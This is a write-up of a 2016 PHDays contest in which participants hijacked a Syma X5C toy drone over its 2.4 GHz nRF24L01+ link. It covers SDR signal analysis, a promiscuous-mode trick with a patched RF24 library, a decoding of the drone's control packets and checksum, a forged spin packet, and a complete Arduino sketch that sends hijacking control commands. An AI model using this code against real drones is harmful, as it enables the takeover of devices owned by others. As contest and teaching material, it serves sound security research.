PHD VI: How They Stole Our Drone
6/9/2016
This year, a new competition was introduced at PHDays, where anyone could try to take control over a Syma X5C quadcopter. Manufacturers often believe that if they implement a wireless standard instead of IP technology, they may not think about security. As if hackers would give up because dealing with something other than IP is too long, difficult, and expensive.
But in fact, SDR (software-defined radio) is an excellent way to access the IoT, where the initial level is determined by the level of an IoT vendor’s care and concern. However, even without SDR you can work wonders, even in the limited space of frequencies and protocols.
The contest goal is to take control over a drone.
Inputs:
- drone control range: 2.4 GHz ISM,
- control is driven by the modulenRF24L01+ (actually, by its clone — BK2423).
Facilities (optional): Arduino Nano, nRF24L01+.
The hijacker received the Syma X8C as a prize.
Since those who wanted to steal our drone were trained people who had HackRF, BladeRF, and other serious tools in their arsenal, we describe two hijack methods: via SDR and nRF24L01+.
The Way of the Samurai: SDR
First of all, you need to find channels that are running the console. But before that, you need to skip through the data sheet, to get the idea of what you need to look for. First of all, we need to find out the organization of frequencies.
Now we know that there are a total of 126 channels with a step of 1 MHz. It'll be also useful to know the width of a channel and its bit rate.
Actually, a participant could manage the task without this knowledge, because it’s not necessarily known what a transmitter consists of. Now we launch a spectrum scanner. We use UmTRX and its maximum bandwidth of 13 MHz.
We do not provide sequential screenshots of each step, but it should be clear how to find such data in radio waves. We can see that, at certain intervals, data appear on channels 25, 41, 57, and 73.
Despite the fact that the data sheet clearly indicates modulation, in real life we do not always have a data sheet for a device. So we build a simple flowgraph in GNU Radio and add detected channels there.
The bandwidth <= 800 KHz according to the data sheet, which means that bit rate is 250 kbps.
Now, to look at the recorded data, we run baudline and open the added file with correct parameters, and this is what we see:
Select one of the highlighted peaks and open the waveform window.
Above we see the recorded signal. Looks like we've done everything correctly, and due to the phase transition it becomes clear that it is FSK/GFSK modulation.
Next, we need to put a demodulator and filter unnecessary data.
The picture looks different now, we choose the dark stripe and open the waveform window.
In fact, the task is solved: the high level is 1, the low level is 0. We can determine the impulse period and calculate the bit rate according to the timeline.
At the very beginning, the transmitter tuned to the transmission frequency and transmits the sound carrier, followed by a preamble consisting of a sequence of 0 and 1, which may differ both in length and content in different chips: in nRF24L01+ it is 1 byte 0xAA or 0x55, depending on the address MSB, in this case, the preamble is 0xAA. Then follows address bytes: in nRF24L01+ address can can consist from 3 to 5 bytes (leaping ahead: this isn't entirely true).
Now we know the address (0xa20009890f). For further analysis, we need to do some automation, like this, for example:
The output is a file consisting of a sequence of 0 and 1:
$ hexdump -C test3.raw
One of our packets could be detected by the shift to 0x5e25:
Everyone decides for themselves how to use it, but it is necessary to find out the length of the packet and the type of the used CRC. We created a utility that analyzes a file and tries to find a preamble, and then attempts to calculate the CRC for different payload lengths and addresses via two different methods (see the data sheet). We did it this way:
But later we realized that Python is only suitable for offline analysis, and is very difficult for it to “digest” data in real time even with a bitrate of 250 kbps, not to mention the higher speeds. This is why the second version in C that operates in real time was developed.
So we have payload, now we only need to examine Syma protocol.
Another Way: Arduino and nRF24L01+
This method, in contrast to the above, requires almost no knowledge in the field of radio, and is extremely cheap (Arduino is $2, nRF24L01+ -is $1, and approximately the same for the wire mini-USB and DuPont), but it requires some ingenuity. This is the method that we wanted the participants to reproduce.
The main problem is that nrf24l01+ does not have the promiscuous mode. However, the module has some strange features, e.g. the data sheet has an interesting thing:
If you paste 00 in this register, the address will be 2 bytes. Also, a preamble is typically transmitted and used for a receiver to adjust to a transmitter, and for this purpose more often transmitted as a preamble sequence of zeros and ones. And the second feature of the module nRF24L01+: it does not look for a preamble and does not use it, it looks for an address that is recorded as received address. If we look at the transmitting signal on the screenshots above, we will notice that before transmitting the preamble, the transmitter transmits the sound carrier. Experiments showed that nRF24L01+ often take it as 0x00 (or sometimes as 0xFF, and rarely as an accidental byte). Thus, using these undocumented features we can translate nRF24L01+ to the promiscuous mode by setting the length of the address to 2 bytes, and the address as 0x00AA or 0x0055. In some case, we will receive data shifted by 1 bit. Moreover, we can receive data without checking the CRC.
Now we have all the necessary information. Now we can use the RF24 library (github.com/TMRh20/RF24), though it has a flaw: in the file RF24.cpp of the function
void RF24::setAddressWidth(uint8_t a_width){
if(a_width -= 2){
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
}
the validity check should be removed:
void RF24::setAddressWidth(uint8_t a_width){
a_width -= 2;
write_register(SETUP_AW,a_width%4);
addr_width = (a_width%4) + 2;
}
Now we write a small sketch for Arduino (this example is for Mega, but it works for any other model, you just need to change CE_PIN, CSN_PIN on your own):
#include
#include
#include
#include
#define CE_PIN 53 /// Change it for your board
#define CSN_PIN 48 /// Change it for your board
RF24 radio(CE_PIN, CSN_PIN);
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0x00AA;
byte buff[32];
byte chan=0;
byte len = 32;
byte addr_len = 2;
void set_nrf(){
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_DISABLED);
radio.setAddressWidth(addr_len);
radio.setPayloadSize(len);
radio.setChannel(chan);
radio.openReadingPipe(1, pipe);
radio.startListening();
}
void setup() {
Serial.begin(2000000);
printf_begin();
radio.begin();
set_nrf();
}
long t1 = 0;
long t2 = 0;
long tr = 0;
void loop() {
byte in;
if (Serial.available() >0) {
in = Serial.read();
if (in == 'w') {
chan+=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 's') {
chan-=1;
radio.setChannel(chan);
Serial.print("\nSet chan: ");
Serial.print(chan);
}
if (in == 'q') {
Serial.print("\n");
radio.printDetails();
}
}
while (radio.available()) {
t2 = t1;
t1 = micros();
tr+=1;
radio.read(&buff, sizeof(buff) );
Serial.print("\n");
Serial.print(tr);
Serial.print("\tms: ");
Serial.print(millis());
Serial.print("\tCh: ");
Serial.print(chan);
Serial.print("\tGet data: ");
for (byte i=0; i<len;i++ ){
Serial.print(tohex[(byte)buff[i]>>4]);
Serial.print(tohex[(byte)buff[i]&0x0f]);
}
}
}
Now you can gather data from the channel on the serial port, the change is channel by sending a “w” and “s” to the port. Further handling can is performed in any convenient manner. We should note that the port speed is non-standard (2 Mbps) to allow Arduino to spend less time on I/O (do not forget that there is only 16 MHz).
After finding the channel and capturing the address should set the address as the receiver to filter the data:
uint64_t pipe = 0xa20009890fLL;
byte addr_len = 5;
Then we should run through all the channels and find where the given address is presented. Now we notice that 10, 11 and 12 bytes vary depending on the data, and they are followed by a sequence of random bytes (noise). We try to enable CRC16 (last two bytes) and change the length of the packet to 10 bytes:
byte len = 10;
radio.setCRCLength(RF24_CRC_16);
Yes! We were able to find all the necessary settings nRF24L01+, which are used by the panel, and it’s time to analyze the Syma protocol itself.
The Syma Protocol
It is not difficult to analyze it by recording some activity from the panel.
The first byte is the throttle value (throttle stick)
The second byte is the elevator value (the pitch — tilt back and forth), where the high bit is the direction (forward or backwards) and the remaining 7 is the value.
The third byte is the rudder value (yaw — pivoting left and right), where the high bit is the direction (left or right) and the remaining 7 is the value.
The fourth byte is the aileron value (roll — leaning to the left and to the right), where the high bit is the direction and the remaining 7 is the value.
The tenth is the CRC, which is calculated as an XOR from the first 9 bytes + 0x55, understanding this is perhaps the most difficult part.
The remaining bytes could be left as those that were intercepted: they contain zero position adjustment values (trims), and a few flags for manipulating the camera.
Now we just need to create a valid package, for example to force the drone to spin on its axis counterclockwise: 92007f000040002400de
Below is a sketch of our interceptor from PHDays:
#include
#include
#include
#include
#define CE_PIN 48
#define CSN_PIN 53
//// syma
uint8_t chan[4] = {25,41,57,73};
const char tohex[] = {'0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'};
uint64_t pipe = 0xa20009890fLL;
RF24 radio(CE_PIN, CSN_PIN);
int8_t packet[10];
int joy_raw[7];
byte ch=0;
//// controls
uint8_t throttle = 0;
int8_t rudder = 0;
int8_t elevator = 0;
int8_t aileron = 0;
//// syma checksum
uint8_t checksum(){
uint8_t sum = packet[0];
for (int i=1; i < 9; i++) sum ^= packet[i];
return (sum + 0x55);
}
//// initial
void setup() {
//set nrf
radio.begin();
radio.setDataRate(RF24_250KBPS);
radio.setCRCLength(RF24_CRC_16);
radio.setPALevel(RF24_PA_MAX);
radio.setAutoAck(false);
radio.setRetries(0,0);
radio.setAddressWidth(5);
radio.openWritingPipe(pipe);
radio.setPayloadSize(10);
radio.setChannel(25);
//set joystick
pinMode(A0, INPUT);
pinMode(A1, INPUT);
pinMode(A2, INPUT);
pinMode(A3, INPUT);
pinMode(A4, INPUT);
pinMode(A5, INPUT);
pinMode(A6, INPUT);
digitalWrite(A3, HIGH);
digitalWrite(A4, HIGH);
digitalWrite(A5, HIGH);
digitalWrite(A6, HIGH);
//init default data
packet[0] = 0x00;
packet[1] = 0x00;
packet[2] = 0x00;
packet[3] = 0x00;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
}
void read_logitech() {
joy_raw[0] = analogRead(A0);
joy_raw[1] = analogRead(A1);
joy_raw[2] = analogRead(A2);
joy_raw[3] = !digitalRead(A3);
joy_raw[4] = !digitalRead(A4);
joy_raw[5] = !digitalRead(A6);
joy_raw[6] = !digitalRead(A5);
//little calibration
joy_raw[0] = map(joy_raw[0],150, 840, 255, 0)+10;
joy_raw[0] = constrain(joy_raw[0], 0, 254);
joy_raw[1] = map(joy_raw[1],140, 830, 0, 255);
joy_raw[1] = constrain(joy_raw[1], 0, 254);
joy_raw[2] = map(joy_raw[2],130, 720, 255, 0);
joy_raw[2] = constrain(joy_raw[2], 0, 254);
}
//// main loop
void loop() {
read_logitech();
throttle = joy_raw[2];
rudder = 64*joy_raw[4] - 64*joy_raw[5];
elevator = joy_raw[1]-127;
aileron = joy_raw[0]-127;
radio.openWritingPipe(pipe);
ch +=1;
if (ch>3) ch = 0;
radio.setChannel(chan[ch]);
packet[0] = throttle;
if (elevator < 0) packet[1] = abs(elevator) | 0x80; else packet[1] = elevator;
if (rudder < 0) packet[2] = abs(rudder) | 0x80; else packet[2] = rudder;
if (aileron < 0) packet[3] = abs(aileron) | 0x80; else packet[3] = aileron;
packet[4] = 0x00;
packet[5] = 0x40;
packet[6] = 0x00;
packet[7] = 0x21;
packet[8] = 0x00;
packet[9] = checksum();
radio.write( packet, sizeof(packet) );
}
If you do not want to deal with the Arduino, you can create an interceptor on a Raspberry Pi.
You can find ready-made files here: github.com/chopengauer/nrf_analyze.
Participants and winners
During the two days, 15 attendees took part in the contest. There were more those who were interested, but most of them decided not to participate when they found out that it was not about hacking Wi-Fi. Many people are afraid to take on something new and strange, and this keeps the Internet of Things secure.
Participants included those who have built their wireless networks on nRF24L01+, and those who heard about them for the first time.
During the first day of one of the participants attempted to take control over the drone by recording a panel signal subsequently replaying by using SDR (a replay attack). But the drone just slightly twitched. This attack is useless because the drone used 4 channels with 48 MHz between the upper and the lower, and the impact on one channel is insufficient.
By the evening of the first day another participant had all the necessary knowledge about the features of the module (the two-byte address 0x00aa) and tried to scan the address from our panel, but the problem was that he got the data sheet of the nRF24L01 chip (the older version, without +), which does not support the bit rate of 250 kbps. Moreover, he refused using ready-made libraries for working with the module and worked directly with its registers.
The winner of the contest was Gleb Cherbov who managed to take the whole control over the drone by 4 p.m. of the second day. Other participants could not intercept the device’s address.